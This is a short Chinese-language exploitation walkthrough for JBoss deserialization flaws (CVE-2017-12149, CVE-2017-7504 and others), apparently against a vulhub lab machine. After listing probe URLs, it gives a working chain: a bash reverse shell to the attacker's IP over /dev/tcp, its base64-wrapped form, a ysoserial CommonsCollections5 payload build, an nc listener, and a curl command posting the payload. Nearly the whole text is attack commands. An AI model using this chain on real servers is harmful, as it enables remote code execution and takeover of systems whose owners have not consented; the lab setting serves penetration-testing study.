1、确认漏洞及类型

在jboss的url后缀添加如下信息,根据回显确定漏洞版本

a、访问/invoker/readonly,返回500则说明存在漏洞->CVE-2017-12149

b、访问/jbossmq-httpil/HTTPServerILServlet,返回This is the JBossMQ HTTP-IL则存在漏洞->CVE-2017-7504

c、访问/invoker/EJBInvokerServlet,返回下载弹窗则存在漏洞->CVE-2013-4810

d、访问/invoker/JMXInvokerServlet,返回下载弹窗则存在漏洞->CVE-2015-7501

2、制作payload

工具:ysoserial.jar

靶机:192.168.66.140(Ubuntu_vulhub)

攻击机:192.168.66.138

1、写反弹shell

bash -i >& /dev/tcp/192.168.66.138/1111 0>&1

2、bash64加密,勾选bash

java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY2LjEzOC8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}

3、使用ysoserial.jar制作payload

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY2LjEzOC8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

注:CommonsCollections有1-10,5及以后有效

4、攻击机开启端口监听

nc -lvp 1111

5、使用curl命令发送payload

curl http:192.168.66.140:8080+试探目录 --data-binary @poc.ser

注:poc版本>=5

6、成功反弹shell